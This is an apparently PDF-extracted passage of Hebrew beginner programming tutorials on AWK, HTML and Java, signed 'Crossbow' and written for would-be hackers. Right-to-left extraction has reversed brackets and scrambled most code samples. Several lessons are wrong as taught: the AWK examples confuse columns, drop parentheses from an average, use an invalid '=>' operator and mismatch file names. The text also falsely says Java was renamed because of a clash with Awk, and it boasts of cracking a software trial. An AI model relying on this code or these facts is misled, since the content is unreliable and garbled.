‫‪AWK‬‬
‫אחרי ששאלתי לא מעט אנשים‪ ,‬וגם לא מעט אנשים שאלו אותי‪ ,‬אני סוף סוף עושה‬
‫טקסט על אחת השפות הלא מוכרות שיש‪ :‬שפת ‪ .Awk‬שפת ‪ Awk‬היא שפת התיכנות‬
‫הסטנדרטית של מערכות ‪ ,Posix‬ולינוקס משתמשת בגרסא של גנו לשפת ‪.Awk‬‬
‫בשורת הפקודה של שפת ‪ ,Awk‬אתם תצטרכו לציין תוכנה שאתם רוצים להפעיל‪ ,‬ע"י‬
‫הקלדתה של התוכנה או ע"י הגדרה של שם הקובץ שמכיל אותה‪ .‬תצטרכו גם לציין‬
‫קבצים ששפת ‪ Awk‬תבצע עליהם עיבודים‪ .‬אם אתם מכירים את שפת ‪ ,Awk‬אולי אתם‬
‫יודעים שלשפת ‪ Awk‬ברשיון גנו קוראים גם ‪ ,Gawk‬אבל זאת אותה שפה‪ .‬שם השפה‬
‫‪ Awk‬הוא קיצור של השלושה שחיברו אותה‪ .Aho, Kernigan, Weinberger :‬טוב‪.‬‬
‫תוכנית ‪ Awk‬בנויה מזוג אחד או יותר של תבנית או פעולה‪ .‬הטקסט בקובץ הקלט‬
‫מעובד שורה אחרי שורה‪ ,‬תוך כדי חיפוש של התבנית הזאת‪ .‬לדוגמא‪ ,‬ניקח קובץ‬
‫ששמו יהיה ‪ ,HackAwk.txt‬שמכיל את השורות האלה (קונטרול ושיפט)‪:‬‬

‫‪Math 80 75‬‬
‫‪Phisics 90 95‬‬
‫‪Gim 95 85‬‬
‫‪Computers 70 95‬‬
‫‪Bible 95 80‬‬

‫העמודות הראשונה והשנייה (עם המספרים) מציינות את הציון של תלמיד מסויים‪,‬‬


‫ובמקביל את ציונו של תלמיד אחר‪ .‬העמודה השלישית מציינת את שם המקצוע‪.‬‬
‫השורת תיכנות הבאה תעשה ממוצע של שני התלמידים עבור כל מקצוע‪( .‬תלחצו על‬
‫קונטרול ושיפט)‪:‬‬

‫‪gawk '{ print $3, $1 + $2 / 2 }' HackAwk.txt‬‬

‫הסברים‬

‫מה שיש בין הסוגריים המסולסלים הוא פקודת ‪ ,print‬שפירושה הוא להוציא פלט‬
‫החוצה‪ .‬הוא מוציא את העמודה השלישית‪ ,‬ובמקביל את החיבור של שני העמודות‬
‫האחרות חלקי שניים (ממוצע)‪.‬‬

‫תנאים בשפה הזאת‬

‫מי שיודע תיכנות בסיסי‪ ,‬יודע שיש משהו שקוראים לו תנאי‪ ,‬שבעצם מחזיר ערך‬
‫בוליאני (נכון או לא נכון)‪ .‬יעני‪ ,‬אם התנאי מתקיים‪ ,‬יש ערך נכון‪ ,‬ואם זה‬
‫לא מתקיים‪ ,‬אז יש ערך לא נכון‪ .‬ברוב שפות התיכנות הסטנדרטיות הפקודה היא‬
‫המילה ‪ ,IF‬אחריה תנאי‪ ,‬אחריו המילה ‪ ,THEN‬ואחריה התוצאה אם התנאי מתקיים‪.‬‬
‫לא כך בשפת ‪ .Awk‬הנה דוגמא‪ ,‬עדיין על הקובץ ‪ ,HackAwk.txt‬שבעצם עושה משהו‬
‫על תנאי מסויים (קונטרול ושיפט)‪:‬‬

‫‪gawk '$1 => 90 { print $3, $1 }' HackAwk.txt‬‬

‫התנאי הוא אם התלמיד הראשון קיבל תשעים ומעלה‪ .‬אם הוא קיבל‪ ,‬הפלט יהיה‬
‫המקצוע ולידו הציון של התלמיד הראשון‪ .‬אם הוא לא קיבל מעל שמונים‪ ,‬אז לא‬
‫יהיה פלט‪ ,‬והתוכנית תדלג על השורה‪.‬‬

‫שימוש בקובץ אצווה‬

‫אתם יכולים גם ליצור קובץ אצווה מסויים‪ ,‬ואותו תפעילו אחר כך מתוך שורת‬
‫הפקודה של לינוקס‪ .‬לדוגמא‪ ,‬תיכנסו לעורך הטקסט שלכם‪ ,‬אני ממליץ להשתמש‬
‫בעורך קל‪ ,‬כגון ‪ Pico‬או ‪ ,Emacs‬ותכתבו את השורה הבאה (קונטרול ושיפט)‪:‬‬

‫‪519‬‬
‫‪} print $3, $1 { 90 >= $1‬‬

‫אחר כך תשמרו אותו בקובץ ששמו יהיה ‪ ,AwkTry‬ואז תצאו לשורת הפקודה במערכת‬
‫לינוקס‪ .‬תכנסו למיקום שבו נמצא ‪ ,AwkTry‬ואז כיתבו בשורת הפקודה את השורה‬
‫הבא (קונטרול ושיפט)‪:‬‬

‫‪gawk -f AwkTry AwkHack.txt‬‬

‫הסברים‬

‫טוב‪ ,‬אחרי ששמרנו את הקובץ עם הפקודות בתוכו‪ ,‬אנו קוראים בשורת הפקודה‬
‫להריץ סקריפט ‪ ,Awk‬ואז אנחנו מגדירים להריץ לא סתם סקריפט ‪ ,Awk‬אלא קובץ‬
‫שמכיל סקריפט ‪ ,Awk‬ואז את שם הקובץ שמכיל את הסקריפט‪ ,‬ואז את שם הקובץ‬
‫שאנחנו רוצים לעבד‪ .‬הפלט שיינתן לנו יהיה אותו פלט כמו מקודם‪ ,‬אבל בקובץ‬
‫אצווה של סקריפט ‪ Awk‬זה הרבה יותר שימושי ובר ביצוע‪.‬‬

‫תנאי לא מתקיים‬

‫האמת היא שאין כזה דבר בשפת ‪ Awk‬תנאי שלא מתקיים‪ ,‬כי תנאי שלא מתקיים הוא‬
‫פשוט לא מראה פלט שלו‪ ,‬אבל אפשר לכתוב בקובץ אצווה של סקריפט ‪ Awk‬שני‬
‫תנאים‪ .‬התנאים הם הפוכים (תלחצו קונטרול ושיפט)‪:‬‬

‫‪} print $3, $1 { 90 >= $1‬‬


‫‪} "print $3, "Sorry, it's not good enough { 90 < $1‬‬

‫טוב‪ ,‬זה אומר שאם התלמיד הראשון קיבל תשעים ומעלה‪ ,‬אז הוא כותב את המקצוע‬
‫ואחריו את הציון‪ ,‬אבל אם הוא קיבל מתחת לתשעים‪ ,‬הוא כותב שבעצם הציון לא‬
‫טוב מספיק‪ .‬הי‪ ,‬תמיד הייתי שאפתן‪ ,‬לא?‬

‫טוב‪ ,‬זה כמובן רק מעט מאוד משפת ‪ ,Awk‬השפה הזאת היא שפה עשירה הרבה יותר‬
‫ממה שאתם חושבים וכוללת לולאות (‪ ,)Loops‬אופרטורים נוספים‪ ,‬משתנים‪ ,‬עוד‬
‫פונקציות ועוד‪ ...‬תנסו לעבוד בינתיים על זה‪ ,‬כי זאת שפה שימושית לאללה!‬
‫טוב‪ ,‬בי‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪520‬‬
‫‪HTML‬‬
‫דבר ראשון‪ ,‬אני רוצה לעשות הקדשה פה‪ :‬ההקדשה היא לאתר של סיגל ברוכמן‪,‬‬
‫האתר הכי טוב לתיכנות דפי אינטרנט‪ ,‬שנסגר‪ .‬חבל‪ ,‬תמיד הכל מתחיל ונגמר‬
‫איפשהו בתקציב‪ .‬אני יודע שהאתר של סיגל היה ההתחלה של הרבה מתכנתים‪ .‬אז‬
‫עכשיו מתחילה הכתבה‪ ,‬ומי שכבר רוצה ללמוד אז סליחה על הקטע הרגשני הזה‪.‬‬
‫טוב‪ ,‬בזמן האחרון כולם שואלים אותי באייסיקיו מה צריך כדי להיות האקר כמו‬
‫כל החברים בטייגרס‪ ,‬אז אני אומר שכדאי מאוד ללמוד לתכנת‪ .‬אז כולם שואלים‬
‫איזה שפות תיכנות‪ ,‬ואיך אני לומד את זה וכאלה‪ .‬אז במקום לקחת קורס מטומטם‬
‫שלא ילמד אותך כמעט כלום במחיר שיגרום לאבא אמא לקחת סכין יפנית ולחתוך‬
‫משהו בקרבה‪ ,‬אולי אפילו אתכם‪ ,‬עדיף שתקראו את הטקסט הזה‪ .‬טוב‪ ,‬רק שתדעו‬
‫שלדעתי הדבר הכי קל וטוב ובסיסי שהאקר צריך לדעת זה תיכנות בשפה חמודה‬
‫לאללה שנקראת שפת ‪ .HTML‬אני לא זוכר מה ראשי התיבות של זה‪ ,‬אני יודע שיש‬
‫לזה פירוש‪ ,‬אבל יש לי בעייה בלזכור ראשי תיבות וקיצורים‪ ,‬אז שיהיה‪ .‬טוב‪,‬‬
‫כל פקודה בשפת ‪ HTML‬רגילה‪ ,‬יעני שלא מעורבת עם סקריפטים וכאלה‪ ,‬תגיע בתוך‬
‫סוגריים משולשים‪ .‬כשבנו את השפת תיכנות הזאת‪ ,‬כמו בכל שפת תיכנות‪ ,‬ידעו‬
‫שהתוכנה תהיה צריכה סימן להתחלת וסיום פקודה‪ ,‬משהו כמו ‪ lp‬בשפת אסמבלר‪,‬‬
‫למי שמבין‪ .‬בקיצר‪ ,‬אני ממליץ למשתמשים מתחילים להוריד משהו לעריכת דף‬
‫אינטרנטי‪ ,‬אני ממליץ על ‪ .Edit Plus‬נכון‪ ,‬היא מוגבלת יעני לשלושים יום‪,‬‬
‫אבל פרצתי אותה אחרי עשר דקות‪ ,‬ועשיתי שהתוכנה תחשוב שיש לי עוד חמש מאות‬
‫יום עד להגבלה‪ .‬בקיצר‪ ,‬דף אינטרנט ריק ייראה בערך ככה‪:‬‬

‫<!‪>"DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN‬‬


‫<‪>HTML‬‬
‫<‪>HEAD‬‬
‫<‪>TITLE> New Document </TITLE‬‬
‫<‪>"META NAME="Generator" CONTENT="TheFuckingEditor‬‬
‫<‪>""=META NAME="Author" CONTENT‬‬
‫<‪>""=META NAME="Keywords" CONTENT‬‬
‫<‪>""=META NAME="Description" CONTENT‬‬
‫<‪>HEAD/‬‬

‫<‪>BODY‬‬

‫<‪>BODY/‬‬
‫<‪>HTML/‬‬

‫טוב‪ ,‬כמו שכולכם יודעים‪ ,‬לכל חלון יש כותרת למעלה‪ .‬עכשיו‪ ,‬כמו ברוב שפות‬
‫התיכנות המיועדות לוינדואוז‪ ,‬אפשר לשנות את הכותרת‪ .‬אתם רואים בשורה‬
‫הרביעית של המסמך החדש שלנו את הסוגריים המשולשות‪ ,‬וביניהם המילה ‪?TITLE‬‬
‫טוב‪ ,‬בין שני הפקודות‪ TITLE :‬וגם ‪ TITLE/‬נמצאות מילים‪ .‬המילים שכתובות שם‬
‫עכשיו הן ‪ .NEW DOCUMENT‬אתם יכולים לשנות את זה למה שאתם רוצים‪ .‬טוב‪ ,‬אני‬
‫חושב שדי מיצינו את הקטע של הכותרת‪ .‬עכשיו נבנה בעצמנו משהו‪ .‬נגיד שאנחנו‬
‫רוצים לכתוב טקסט רגיל‪ .‬עושים את זה ככה‪:‬‬

‫<‪>FONT COLOR = "red" SIZE = 24> This Is My First Fucking Page </FONT‬‬

‫טוב‪ ,‬עכשיו קצת הסברים‪:‬‬

‫‪ - FONT‬מתחיל פקודה שקוראת לתוכנית לכתוב טקסט ולהגדיר פונט‪.‬‬


‫‪ - COLOR‬צבע הפונט‪ .‬אפשר להגדיר לפי צבעים רגילים או לפי ערך הקסדימלי‪.‬‬
‫‪ - SIZE‬גודל הטקסט‪.‬‬
‫<‪ - >FONT/‬סוגר את הפקודה‪.‬‬

‫‪521‬‬
‫אוקיי‪ ,‬נסו קצת להתעסק עם פונט‪ .‬עכשיו נתחיל עם תמונות‪ .‬דבר ראשון צריך‬
‫תמונה‪ .‬תפתחו את הצייר ושרבטו משהו‪ .‬שלא יהיה ציור גדול מידי מבחינה יותר‬
‫פיזיקלית‪ ,‬יעני שלא יהיה ‪ 10000‬פיקסלים‪ ,‬טוב? עכשיו שימו אותו באותה‬
‫התיקייה שבה אתם רוצים לשמור את הקובץ שלנו‪ .‬תקראו לו ‪ .Sex.bmp‬דגש חשוב‪:‬‬
‫בדרך כלל לא משתמשים באינטרנט בתמונת מפת סיביות (‪ ,)bmp‬כי זה סוג קובץ‬
‫עם איכות טובה‪ ,‬אבל הוא תופס יותר מדי מקום‪ .‬בדרך כלל משתמשים בשני סוגים‬
‫עיקריים‪ Jpg :‬וגם בסוג ‪ .Gif‬אחרי ששמרתם‪ ,‬תכתבו עכשיו בתוך התיכנות‪:‬‬

‫<‪>IMG SRC = "Sex.bmp‬‬

‫וזהו‪ .‬זאת פקודה מיוחדת‪ ,‬שבעצם בנוייה בלי סגירה‪ .‬עכשיו‪ ,‬בואו נשמור את‬
‫הקובץ‪ .‬בהנחה שאתם משתמשים בעורך דפי אינטרנט‪ ,‬פשוט תשמרו‪ .‬עכשיו‪ ,‬בדרך‬
‫כלל הסיומות של דפי אינטרנט הם ‪ ,html‬אבל יש גם ‪ .htm‬לא משנה‪ .‬פשוט תשמרו‬
‫את הקובץ שלכם‪ ,‬ותשמרו באותה תיקייה שבה נמצא הציור מקודם‪ .‬טוב‪ ,‬עכשיו‬
‫כנסו לתיקייה שבה שמורים קובץ דף האינטרנט והתמונה‪ ,‬ותלחצו פעמיים על דף‬
‫האינטרנט שלכם‪ .‬הפלא ופלא! יש תמונה! טוב‪ ,‬עכשיו‪ ,‬בניגוד לשפות תיכנות‬
‫אחרות‪ ,‬אין לשפה הזאת קימפול וקובץ פרוייקט לחוד‪ ,‬אלא שמירת הקבצים נעשית‬
‫כבר עם הקימפול‪ ,‬כמו בקבצי אצווה שנשמרים גם בלי קימפול‪ .‬אז מה זה אומר?‬
‫זה אומר‪ ,‬שאתם יכולים להכנס לאינטרנט‪ ,‬להוריד איזה דף אינטרנט‪ ,‬ואז לפתוח‬
‫אותו עם העורך שלכם‪ ,‬ולבדוק מה כל פקודה עושה לחוד‪ .‬אני ממליץ מאוד על‬
‫השיטה הזאת‪ ,‬כי פשוט יש יותר מדי פקודות כדי שאני אלמד אתכם‪ .‬עוד דבר‬
‫בסיסי בדף אינטרנט הוא קישורים‪ .‬עכשיו‪ ,‬תשמרו את הדף הקודם‪ ,‬ואז תיצרו‬
‫דף חדש‪ .‬בדף החדש אני רוצה שנעשה קישור לדף הקודם ששמרנו‪ .‬למי שלא יודע‪,‬‬
‫קישור הוא בעצם טקסט שאם לוחצים עליו הדפדפן מבצע פעולה מסויימת‪ .‬כמו‬
‫בדפדפן‪ ,‬הקישור יכול להופיע במספר צורות‪ .‬הנה הצורות שאתם צריכים לדעת‪:‬‬

‫‪ - http‬דף אינרטנט‬
‫‪ - file‬קובץ‬
‫‪ - ftp‬תיקיית אינטרנט‬
‫‪ - mailto‬הודעת דואר‬

‫מספיק‪ .‬עכשיו‪ ,‬בתיכנות של הדף החדש תכתבו משהו כזה‪:‬‬

‫<‪>A HREF = "file://c:/windows/calc.exe"> Calculator </A‬‬

‫אני מקווה שאתם מבינים‪ .‬אנחנו יצרנו קישור‪ ,‬שהטקסט עליו הוא ‪,Calculator‬‬
‫ואם לוחצים על הטקסט הזה נפתח המחשבון של וינדואוז‪ .‬עכשיו אפשר לעשות את‬
‫זה אחרת‪ :‬אם לדף הראשון ששמרנו קוראים ‪ ,Cross.html‬אז נכתוב ככה‪:‬‬

‫<‪>A HREF = "Cross.html"> First Page </A‬‬

‫תשמרו את זה בתיקייה איפה שכל הקבצים הקודמים ששמרנו ותריצו את זה‪ .‬עכשיו‬
‫אני רוצה לתת לכם כמה טיפים אחרונים לפני סיום הטקסט הזה‪:‬‬

‫‪ )1‬תורידו קודי מקור ותבדקו מה כל פקודה עושה‪.‬‬


‫‪ )2‬למי שקצת מבין יותר‪ ,‬אפשר לשלב בדף‪.ActiveX, JavaScript, VbScript :‬‬
‫‪ )3‬אל תתביישו לשאול‪ :‬יש לכם את האייסיקיו שלי‪.‬‬

‫אז תתאמנו והרבה‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪522‬‬
‫‪JAVA‬‬
‫היום נלמד על אחת מהשפות החזקות והטובות בעולם‪ :‬ג'אווה‪ .‬ג'אווה נחשבת‬
‫לשפה חזקה מאוד‪ ,‬היכולה לרוץ על כל פלטפורמה בלי שינויים‪ ,‬ויכולה גם לשמש‬
‫ליצירת אפלטונים אינטראקטיביים בדפי אינטרנט‪.‬‬

‫ג'אווה ‪ -‬רקע היסטורי‬


‫טוב‪ ...‬ג'אווה פותחה בחברת ‪ Sun Microsystems‬בשנת ‪ ,1991‬כחלק מפרוייקט‬
‫הנקרא ‪ ,Green Project‬שהיה קבוצת מחקר שעבדה על פיתוח תוכנה לשליטה על‬
‫מוצרים אלקטרוניים‪ .‬החוקרים רצו לבנות שפת תיכנות‪ ,‬שתוכל להריץ את רוב‬
‫המכשירים של העתיד ‪ -‬מטלוויזיות אינטראקטיביות ועד לרדיו‪ .‬החוקרים רצו גם‬
‫שהמכשירים האלה יוכלו לתקשר אחד עם השני‪ ,‬כלומר‪ ,‬שהטלוויזייה תגיד לטוסטר‬
‫להגיד לך שעכשיו משודרת התוכנית "ג'וני בראבו"‪ .‬כדי ליישם את המחקר שלהם‪,‬‬
‫פיתחו החוקרים אב טיפוס ראשון שנקרא ‪ ,Star7‬שהיה דומה לשלט רחוק‪ ,‬שיכול‬
‫לתקשר עם אחרים כמוהו‪ .‬הרעיון המקורי היה לתכנת את ‪ Star7‬בשפת ‪( Cpp‬סי‬
‫פלוס פלוס)‪ .‬אבל לחבר מצוות הפיתוח ששמו ג'יימס גוסלינג נמאס מדרך הפעולה‬
‫של סי פלוס פלוס‪ ,‬ולכן כתב שפה חדשה‪ .‬השפה נקראה בשם ‪ .Oak‬מאוחר יותר‪,‬‬
‫חברת סאן גילתה שישנה כבר שפה שנקראת ‪ ,Oak‬או יותר נכון ‪( Awk‬שנהיגת אותו‬
‫דבר)‪ ,‬ולכן שינו את שמה לג'אווה‪.‬‬

‫ג'אווה ‪ -‬איך זה עובד?‬


‫ג'אווה אינה תלויה בפלטפורמה‪ .‬עובדה זו הופכת את ג'אווה לאחת מן השפות‬
‫החזקות ביותר‪ .‬תוכנית ג'אווה יכולה לרוץ על ‪ ,Windows, Linux‬או כל מערכת‬
‫הפעלה אחרת‪ ,‬בלי שינוי קוד התוכנית‪ .‬איך זה ייתכן? בשביל זה נשווה את שפת‬
‫ג'אווה עם שפה אחרת‪ ,‬למשל‪ ,‬סי פלוס פלוס‪ .‬כאשר אנחנו מקמפלים תוכנית אשר‬
‫נכתבה בשפת סי פלוס פלוס‪ ,‬קוד המקורשל התוכנית הופך לקוד מכונה‪ .‬עכשיו‪,‬‬
‫אם כתבת תוכנית על מחשב עם מעבד ‪ ,Macintosh‬היא לא תוכל לרוץ על מחשב עם‬
‫מעבד ‪ ,Intel‬ולהפך‪ .‬בתיאורייה‪ ,‬אם תרצה להריץ את התוכנית שכתבת על מחשב‬
‫עם מעבד ‪ ,Macintosh‬תהיה חייב לשנות את קוד המכונה כך שמעבד ‪ Intel‬יבין‬
‫אותו‪ .‬כך קורה בשפות אחרות‪ ,‬כדוגמת סי‪ ,‬סי פלוס פלוס‪ ,‬או בייסיק למשל‪.‬‬
‫בהרבה מקרים תהיו חייבים גם לשנות את קוד המקור של התוכנית‪ .‬תוכנית לא‬
‫נקראת בקוד מכונה‪ ,‬אלא במכונה וירטואלית‪ .‬המכונה הוירטואלית קוראת תוכנית‬
‫ג'אווה ומתרגמת את מה שכתוב בתוכנית הג'אווה‪ ,‬פקודה אחר פקודה‪ ,‬לפקודות‪,‬‬
‫שמערכת ההפעלה תבין‪ .‬פקודות אלה בנויות בפורמט שנקרא ‪ ,Bytecode‬יכולות‬
‫לרוץ על כל פלטפורמה שבה מכונה וירטואלית‪ .‬מכאן‪ ,‬אפשר להבין שמכונה‬
‫וירטואלית על ‪ Windows‬תהיה שונה ממכונה וירטואלית על ‪ ,Unix‬אך התוצאה‬
‫תהיה כמעט זהה‪ .‬החסרון הגדול בשיטה זו‪ ,‬הוא שיישומי ג'אווה רצים לאט יותר‬
‫מתוכנית שקומפלה ישירות לקוד מכונה‪ .‬אך גם בזה אפשר לטפל‪ ,‬וכיום קיימות‬
‫תוכנות שהופכות ‪ Bytecode‬של ג'אווה לקוד מכונה מקומי‪ ,‬כך שהתוכנית תרוץ‬
‫מהר יותר‪ ,‬והביצועים יהיו טובים יותר‪ .‬ג'אווה‪ ,‬היא שפת תיכנות מונחית‬
‫אובייקטים (‪ ,)OOP - Object Oriented Programing‬ובגלל זה השימוש בה קל‪.‬‬
‫ד"א‪ ,‬הערה חשובה מאוד‪ ,‬לאלה שחושבים שכן‪ ,‬אז לא‪ ,‬ג'אווה לא דומה אפילו‬
‫לג'אווה סקריפט‪ ,‬ואסור אף פעם לבלבל ביניהם‪ .‬בקיצר‪ ,‬בשביל להתנסות קצת‬
‫בג'אווה אתם תצטרכו מספר דברים‪:‬‬

‫‪ )1‬מכונה וירטואלית עבור ג'אווה (המלצה על ‪.)JDK‬‬


‫‪ )2‬קומפיילר של ג'אווה (המלצה על (‪.)JBuilder Compiler‬‬
‫‪ )3‬רצוי גם עורך ג'אווה (המלצה על ‪.)JBuilder Editor‬‬

‫גרסאות שונות של ג'אווה כיום הם כחלק מפרוייקט גנו (‪ ,)GNU‬המציג תוכנות‬


‫ועזרים בחינם ועם קוד מקור פתוח‪ ,‬כך שאפשר להשיג מכונה וירטואלית‪ ,‬עורך‬
‫וקומפיילר בחינם ובאופן חוקי‪.‬‬

‫‪523‬‬
‫בניית התוכנית הראשונה שלנו‬
‫טוב‪ ,‬בואו נתחיל‪ .‬לפני שנתחיל מספר דברים חשובים‪ .‬יש לשמור את כל קבצי‬
‫המקור של תוכנית בג'אווה בסיומת ‪ .java‬כל הקבצים המקומפלים של תוכנית של‬
‫ג'אווה בעלי סיומת ‪( class‬בניגוד לקבצי הרצה רגילים)‪ .‬כל קבצי קוד המקור‬
‫נשמרים כקובצי טקסט פשוט‪ ,‬כלומר‪ ,‬תוכלו לערוך אותם באמצעות כל עורך טקסט‬
‫רגיל‪ ,‬כגון ‪ Notepad‬של וינדוס‪ Edit ,‬של דוס‪ ,‬או ‪ Emacs‬של לינוקס‪ .‬בכל זאת‬
‫עדיף שיהיה לך עורך טוב של ג'אווה‪ .‬העורך של ‪ JBuilder‬מצוייד במזהה של‬
‫פקודות מוכרות‪ ,‬והממשק שלו דומה לממשק של החלק של קוד המקור בשפה הידועה‬
‫ויזואל בייסיק‪ .‬מתכנתי סי פלוס פלוס מנוסים יוכלו לדלג על כמה דברים פה‪,‬‬
‫או שיקבלו אותם בתור חזרה על השפה‪ .‬טוב‪ ,‬פה ועכשיו יוצג לכם קוד בסיסי‬
‫ופשוט מאוד בג'אווה‪ ,‬ואחריו הסברים‪:‬‬

‫‪{ class Whatsup‬‬


‫‪{ )public static void main(String[] arguments‬‬
‫‪;)"?System.out.println("How do you do, Crossbow‬‬
‫}‬
‫}‬

‫הסברים‬
‫טוב‪ ,‬בהתחלה יש לנו הצהרה על מחלקה חדשה‪ ,‬ששמה הוא ‪ ,Whatsup‬ואחרי השם של‬
‫המחלקה סוגריים מסולסלים‪ .‬כל מה שיהיה בין הסוגריים האלה שייך למחלקה‪.‬‬
‫שורה אחר כך יש לנו הצהרה על פונקציית ‪ ,Main‬כמו בסי‪ .‬לאחר מכן יש לנו‬
‫הוצאת טקסט (‪ .)System.out.println‬ואחריה פתיחה של סוגריים רגילים‪ .‬כל מה‬
‫שיהיה בין הסוגריים הרגילים יוצג כפלט על המסך‪ .‬כרגע נשתמש במרכאות שיהיו‬
‫בתוך הסוגריים הרגילות‪ ,‬אבל בעתיד נוכל לשלב טקסט רגיל (בין מרכאות)‪ ,‬יחד‬
‫עם משתנים (‪ ,)Variables‬שלא יוקפו במרכאות‪ .‬לאחר שסיימת להעתיק את קוד‬
‫המקור של התוכנית‪ ,‬שמור את התוכנית בשם ‪ ,Whatsup.java‬וצא מהעורך‪ .‬עכשיו‪,‬‬
‫קמפל את הקובץ הזה‪ .‬צריך להווצר לך קובץ ‪ .class‬עכשיו‪ ,‬הפעל את הקובץ‬
‫שעכשיו קימפלת‪ ,‬בעזרת המכ ‪9‬ונה הוירטואלית שצריכה להיות מותקנת אצלך‪ .‬אם‬
‫אתה עובד תחת ‪ ,Windows‬תצטרך להריץ את הקובץ דרך דוס‪ ,‬אם אתה עובד תחת‬
‫‪ ,Linux‬תצטרך להריץ אותו מהטרמינל‪ ,‬או בקיצר‪ ,‬תצטרך להריץ את הקובץ דרך‬
‫ממשק לא גרפי‪ ,‬דרך ממשק שורת פקודה‪ .‬דרך אגב‪ ,‬בדוס‪ ,‬למשל‪ ,‬וודא כי אתה‬
‫מריץ את הקובץ בשמו המלא‪ ,‬כי בדוס קובץ שנקרא ‪ CrossCool.class‬ייקרא בדוס‬
‫בשמו המקוצר‪ ,CrossC~1.cla :‬אך המכונה הוירטואלית מזהה שמות מלאים בלבד‪.‬‬
‫אם עשית עד עכשיו הכל כמו שצריך‪ ,‬אתה אמור לקבל פלט על מסך הטרמינל שלך‪,‬‬
‫שייראה ככה‪.?How do you do, Crossbow :‬‬

‫עבודה עם אובייקטים‬
‫טוב‪ ...‬בג'אווה‪ ,‬לעומת ויזואל בייסיק‪ ,‬אין דרך ויזואלית ליצירת אובייקטים‬
‫על פני משטח‪ .‬למרות שהיום כן קיימים מספר כלים ליצירת אובייקטים באופן קל‬
‫ומהיר בג'אווה‪ ,‬אני ממליץ לכם ללמוד ליצור את האובייקטים לבד (זה יותר‬
‫מקצועי)‪ .‬טוב‪ ,‬אובייקטים (‪ )Objects‬בג'אווה יכולים להקרא גם לפעמים בשם‬
‫מופעים (‪ .)Instances‬האובייקטים נוצרים בזמן הריצה בתוך המחלקה‪ .‬המחלקה‬
‫בעצם משמשת ליצירה של אובייקטים בעלי מאפיינים דומים‪ .‬בעצם‪ ,‬אינכם יכולים‬
‫ליצור אובייקט יחיד‪ ,‬אלא מחלקה של אובייקטים‪ .‬האובייקטים במחלקה הם בעצם‬
‫המאפיינים בה‪ .‬למשל‪ ,‬אתה יכול ליצור מחלקת "שפת תיכנות"‪ ,‬ואז לתאר את‬
‫המאפיינים שלה כאובייקטים‪ ,‬לדוגמא‪" :‬שפת סף או שפה עילית"‪" ,‬שפה מונחית‬
‫אובייקטים או לא" או "שפה הרצה על פלפורמה יחידה או על מספר פלטפורמות"‪.‬‬
‫הרעיון הוא שאתם יוצרים את המאפיינים של המחלקה שלכם‪.‬‬

‫דוגמא למחלקה‬
‫כעת ניצור מחלקה שתתאר משהו‪ .‬למשל‪ ,‬מחלקה כמו מקודם‪ ,‬שתתאר מאפיינים של‬

‫‪524‬‬
‫שפת תיכנות‪ .‬הנה קוד המקור‪:‬‬

‫‪{ class Prog‬‬


‫‪;String name‬‬
‫‪;String type‬‬
‫‪;Boolean oop‬‬
‫‪;String running‬‬

‫‪{ )(void showAttrs‬‬


‫‪;)System.out.println(name + " is " + type‬‬
‫‪;)System.out.println(name + " runs on " + running‬‬
‫‪{ )if (oop == true‬‬
‫‪;)".System.out.println(name + " is an oop‬‬
‫} ‪else‬‬
‫‪;)".System.out.println(name + " isn't an oop‬‬
‫}‬

‫‪{ )][public static void main(String arguments‬‬


‫‪;)(Prog p = new Prog‬‬
‫‪;"p.name = "Java‬‬
‫‪;"p.type = "elite‬‬
‫‪;p.oop = true‬‬
‫‪".p.running = " seveal platforms‬‬
‫‪;)":" + System.out.println("The properties of " + p.name‬‬
‫‪;)(p.showAttrs‬‬
‫‪;)"!!!System.out.println("I guess " + p.name + " is a cool thing‬‬
‫}‬
‫}‬

‫הסברים‬
‫טוב‪ ,‬יצרנו‪ ,‬כמו שרצינו למעלה‪ ,‬תוכנית שמקבלת הגדרות מסויימות של שפת‬
‫תיכנות‪ ,‬הכוללות את שם השפה‪ ,‬אם היא שפת עילית או סף‪ ,‬אם היא מונחית‬
‫אובייקטים‪ ,‬ועל איזה פלטפורמות היא רצה‪ .‬ההתחלה שלנו היא‪ ,‬כמובן‪ ,‬הגדרת‬
‫מחלקה חדשה בשם ‪ .Prog‬מאפייני המחלקה מתחלקים למאפיינים (המצויינים ישר‬
‫לאחר ההגדרה)‪ ,‬ופונקצייה (המציגה פלט על המסך בהתאם למאפיינים)‪ .‬מאפייני‬
‫המחלקה פה מתחלקים לשני סוגים‪ :‬מחרוזת (‪ )String‬וערך בוליאני (‪.)Boolean‬‬
‫עכשיו‪ ,‬מחרוזת היא טקסט‪ ,‬פשוטו כמשמעו‪ .‬מאפיין מסוג ‪ String‬יוכל להחזיק‬
‫רק טקסט‪ ,‬ולכן יצויין במרכאות כפולות‪ .‬ערך בוליאני הוא ערך שיכול להיות‬
‫בשני מצבים‪ :‬נכון או לא נכון (‪ .)True or False‬ערכים בוליאנים שימושיים‬
‫מאוד במשתנים ומאפיינים ברוב שפות התיכנות‪ ,‬כמו גם מחרוזות‪ .‬טוב‪ ,‬ההצהרה‬
‫על מאפיין מחולקת לשני חלקים‪ :‬סוגו של המאפיין והשם של המאפיין‪ .‬לדוגמא‪,‬‬
‫המשפט ‪ String type‬בעצם אומר לנו ליצור מאפיין חדש שהערכים שלו יהיו‬
‫טקסטים (מחרוזת)‪ .‬המאפיין ייוצג במילה ‪ .type‬משתמשי ויזואל בייסיק יבהלו‪,‬‬
‫מכיוון שבויזואל בייסיק שמות המאפיינים כבר קבועים מראש (אלא אם כן אתם‬
‫מתכנתים פקד משלכם)‪ ,‬וזאת רק הוכחה לזה שג'אווה הרבה יותר פתוחה למשתמש‪.‬‬
‫בפונקצייה אנחנו משתמשים בפלט‪ .‬הפלט צריך להיות לכם מהתוכנית האחרונה‬
‫שיצרנו מקודם‪ ,‬אבל פה ערבבנו טקסט קבוע שייפלט‪ ,‬וטקסט שייפלט בהתאם לערכו‬
‫של המאפיין‪ .‬אפשר לערבב טקסט רגיל עם מאפיינים‪ ,‬על ידי סימן פלוס ביניהם‪.‬‬
‫הפלוס נקרא אופרטור‪ ,‬ועליהם נלמד מאוחר יותר‪ .‬עוד דבר שהשתמשנו בו הוא‬
‫תנאי‪ .‬ההצהרה על תנאי‪ ,‬כמו ברוב השפות‪ ,‬היא במילה ‪ .if‬לאחר מכן אנחנו‬
